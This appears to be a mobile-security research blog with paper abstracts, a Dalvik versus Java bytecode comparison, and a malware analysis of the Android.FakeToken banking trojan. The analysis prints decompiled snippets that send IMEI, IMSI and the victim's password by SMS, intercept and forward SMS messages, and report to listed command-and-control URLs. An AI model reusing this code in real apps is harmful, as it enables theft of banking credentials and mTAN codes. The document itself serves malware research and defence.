SAAF @ SAC2013

We have a 2nd paper accepted at SAC’13: Slicing Droids: Program Slicing for Smali Code. The tool’s source code will be made available after the paper has been presented.

Here is the abstract:

The popularity of mobile devices like smartphones and tablets has increased significantly in the last few years with many millions of sold devices. This growth also has its drawbacks: attackers have realized that smartphones are an attractive target and iin the last months many different kinds of malicious software (short: malware) for such devices have emerged. This worrisome development has the potential to hamper the prospering ecosystem of mobile devices and the potential for damage is huge.

Considering these aspects, it is evident that malicious apps need to be detected early on in order to prevent further distribution and infections. This implies that it is necessary to develop techniques capable of detecting malicious apps in an automated way. In this paper, we present SAAF, a Static Android Analysis Framework for Android apps. SAAF analyzes smali code, a disassembled version of the DEX format used by Android’s Java VM implementation. Our goal is to create program slices in order to perform data-flow analyses to backtrack parameters used by a given method. This helps us to identify suspicious code regions in an automated way. Several other analysis techniques such as visualization of control flow graphs or identification of ad-related code are also implemented in SAAF. In this paper, we report on program slicing for Android and present results obtained by using this technique to analyze more than 136,000 benign and about 6,100 malicious apps.

Mobile-Sandbox @ SAC2013

Our paper Mobile-Sandbox: Having a Deeper Look into Android Applications got accepted at SAC’13 and will be presented there at 18-22 March 2013.

Here is the abstract:

Smartphones in general and Android in particular are increasingly shifting into the focus of cybercriminals. For understanding the threat to security and privacy it is important for security researchers to analyze malicious software written for these systems. The exploding number of Android malware calls for automation in the analysis. In this paper, we present Mobile-Sandbox, a system designed to automatically analyze Android applications in two novel ways:

  • it combines static and dynamic analysis, i.e., results of static analysis are used to guide dynamic analysis and extend coverage of executed code, and
  • it uses specific techniques to log calls to native (i.e., “non-Java”) APIs.

For this paper we evaluated the system with more than 36,000 applications from Asian third-party mobile markets and found that 24% of them actually use native calls in their code.

Comparison of Dalvik and Java Bytecode

The following blog post describes the major similarities and differences of Dalvik and Java Bytecode. This is particularly important to understand how Dalvik and Java differ in order to be able to understand the characteristics of Android applications and malicious behavior.

Android applications are usually written in Java language and are executed in the Dalvik Virtual Machine (DVM), which is different from the classical Java Virtual Machine (JVM). The DVM is developed by Google and optimized for the characteristics of mobile operating systems (especially for the Android platform). The bytecode running in Dalvik is transferred from traditional JVM bytecode to the dex-format by translating Java .class files with the conversion tool dx. Contrary to the DVM, JVM is using pure Java class files. If you want to reverse an Android application, it is necessary to understand Dalvik bytecode format, as well as you need deep knowledge in static and dynamic state instrumentation. Wiliam Enck et. al summed up the differences between JVM and DVM bytecode in their paper “A Study of Android Application Security” as following:

1. Architecture of the Android Application

JVM bytecode is composed of one or more .class files (each of these contains one Java class). During run time, JVM will dynamically load the bytecode for each class from the corresponding .class file. While Dalvik bytecode is only composed of one .dex file, containing all the classes of the application. The figure below shows the genaration process of the .dex file. After the Java compiler has created JVM bytecode, the Dalvik dx compiler deletes all .class files and recompiles them to Dalvik bytecode. Afterwards dx merges them into one .dex file. This process includes translation, reconstruction and interpretation of the basic elements of the application (constant pool, class definitions and data segments). The constant pool describes all the contants, including references, method names, and numeric constants. Class definitions include access flags, class names, etc. The data segments include all the function code executed by the target VM as well as related information about classes and functions (e.g. number of registers used by DVM, local variables list, operand stack size) and instance variables.

2. Register Structure

DVM is based on registers, while JVM is based on the stack. In JVM bytecode, local variables will be listed in the local variables list, and then pushed onto the stack for manipulation by opcodes. In addition, JVM could also work directly on the stack without explicitly storing local variables into the variable list. In Dalvik bytecode, local variables would be assigned to any of the 216 available registers. Dalvik opcodes do not access the elements in the stack. Instead, they operate directly on the registers.

3. Instruction Set

Dalvik has 218 opcodes which are essentially different from the 200 opcodes in Java. For instance, a dozen of opcodes are used for transferring data between stack and local variables list, while totally absent in Dalvik. Instructions in Dalvik are longer than in Java, since most of them contain source and destination address of registers. For a comprehensive overview of Dalvik opcodes see the Blog post of Gabor Paller and Android Developers.

4. Constant Pool Structure

JVM bytecode has iterated constant pools among all of the .class files, e.g. referent function names. By providing a constant pool for the reference of all classes in Dalvik, dx compiler eliminates the iterations. Moreover, dx removes some constants by using inline technology. Therefore, integers, long integers, as well as single and double float constants disappear during the dx compilation.

5. Ambigious Primitive Types

In JVM, the opcodes for integers and single float constants are different, along with long integers and double float constants. While Dalvik implements the same opcode for both, integers and float constants.

6. Null References

Dalvik bytecode does not have a specific null type. Instead, Dalvik uses a 0 value constant. So, the ambiguous implication of constant 0 should be distinguished properly.

7. Object References

JVM bytecode uses different opcodes for object reference comparison and null type comparison, while Dalvik simplifies them into one opcode. Thus, the type info of the comparison object must be recovered during decompilation.

8. Storage of Primitive Type of Array

Dalvik uses indefinite opcodes to operate on an array, while JVM uses defined ones. The array type information must be recovered for correct translation.

Detailed Analysis of Android.FakeToken

Intro: What is Android.FakeToken?

This new malware-family emerged some days ago within a spanish Spam-campain and spreads through email and SMS messages. This new Android malware tries to forward mTAN SMS messages to a remote user and thus has the typical man-in-the-middle functionality, we have already seen in malware families like Zeus and SpyEye, but it also can be controlled remotely and doesn’t need to infect the user’s PC.

Analysis of the Application and Its Structure

When installing the app it requests the following permissions:

  • android.permission.READ_PHONE_STATE
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.SEND_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.INTERNET
  • android.permission.WRITE_EXTERNAL_STORAGE
  • android.permission.INSTALL_PACKAGES
  • android.permission.DELETE_PACKAGES
  • android.permission.READ_CONTACTS
  • android.permission.RECEIVE_BOOT_COMPLETED

After the application has been installed successfully, the icon of the app shows up in the dashboard and the application registers some receivers which will trigger when a specific system event occurs (for example: BOOT_COMPLETED, USER_PRESENT, PHONE_STATE or SMS_RECEIVED). When the user executes the app, it shows a WebView component that displays an html-page which looks like a Token-Generator and it appears to be from the targeted bank (in our case it should look like the Santander Consumer Bank):

localWebView.addJavascriptInterface(new WebApi(this), "android");
System.out.println("Build.VERSION.RELEASE: " + Build.VERSION.RELEASE);
if ((Build.VERSION.RELEASE.startsWith("2.3.1")) || (Build.VERSION.RELEASE.startsWith("2.3.3")))
      localWebView.loadUrl("file:///android_asset/html/index_bag.html");
....

To get the fake token (just a random number), the user must enter the first factor of authentication. As soon as this step is done, the application sends a SMS message to the author and starts a background service afterwards:

public void sendPass(String paramString)
  {
    try
    {
      if (!Settings.saved.sendInitSms)
      {
        Settings.saved.sendInitSms = true;
        String str = Settings.saved.smsPrefix + " INIT " + MainApplication.imei + " " + MainApplication.imsi + " " + paramString;
        MainService.sendSms(Settings.saved.number, str);
        MainApplication.settings.save(this.context);
      }
....

This background service is listening to commands from the remote server (e.g. update of configuration) and starts periodically. When the smartphone of the victim receives a SMS message, the broadcast will be aborted and the message will be forwarded to a given phone number or remote server.

abortBroadcast();
SmsMessage localSmsMessage = arrayOfSmsMessage[j];
String str1 = localSmsMessage.getOriginatingAddress();
String str2 = localSmsMessage.getMessageBody();
CatchResult localCatchResult = MainApplication.settings.isCatchMessage(str1, str2);
if (localCatchResult.result)
   MainService.start(paramContext, paramIntent, "catch", str1, str2, localCatchResult.key);
if ((MainApplication.settings.isNewServer(paramContext, str1, str2)) || (MainApplication.settings.isDeleteMessage(str1, str2)))

The application sends IMEI, IMSI, phone type, version, sid, phone number and the SMS body within a HTTP Post to one of the corresponding remote servers. These servers and all necessary information are stored in a xml configuration (/data/data/token.generator/files/settings):


   
   
   79021121067
   1.0
   santander
   
   
      http://icoolshop.ru/cp/server.php
      http://iconsshopbest.com/cp/server.php
   
   qe4faf23r4e2
   sid_1
   false
   1331934321409
   43200

This file can be updated remotely (via SMS and HTTP GET) if the phone number or server address of the malware author changes. The malware also has the ability to install further apk-files and sends the phone numbers of all entries in the address book of the victim to a remote server. The last step happens probably for further distribution of the malware.

Sample Information:

sha256:
f7c36355c706fc9dd8954c096825e0613807e0da4bd7f3de97de0aec0be23b79

md5:
4548973449f707a6359a9b321ef54d31

Mobile-Sandbox Report

Is Data Retention Still Necessary in the Age of Smartphones?

It is well known that smartphone operating systems persistently store location information in their local storage for various reasons. However, less well known is probably the fact that also various applications do this, too. In this article we will give you some hints where you can find this data on Android smartphones as well as we will present a system with which all this information can be extracted and visualized at the same time. We will also provide you with a comparison of the quality and quantity of location data gathered through data retention in contrast to the data gathered by forensic acquisition.

Our whole article can be read here.